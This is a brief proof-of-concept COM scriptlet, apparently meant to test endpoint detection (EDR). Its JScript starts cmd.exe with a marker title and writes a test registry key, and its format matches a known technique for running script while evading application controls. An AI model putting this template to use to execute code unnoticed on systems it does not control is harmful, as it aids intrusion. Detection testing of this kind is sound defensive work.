SquiblyTest - Test Several Dimensions of EDR -

squiblytest.sct

<?XML version="1.0"?>
<scriptlet>
<registration 
    progid="PoC"
    classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
	<!-- Proof Of Concept - Casey Smith @subTee -->
	<!--  License: BSD3-Clause -->
	<script language="JScript">
		<![CDATA[
			
			//Child Process + Command Line
			var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /k title BADC0FFEE");	
			// Registry Add, Modify, Delete
			var regtest = new ActiveXObject("WScript.Shell")
			regtest.RegWrite("HKCU\\TestKey\\", "BADC0FFEE");
			//regtest.RegDelete("HKCU\TestKey\");
			// File Create, Modify, Delete
			//Implicit with download.
			
			
		]]>
</script>
</registration>
</scriptlet>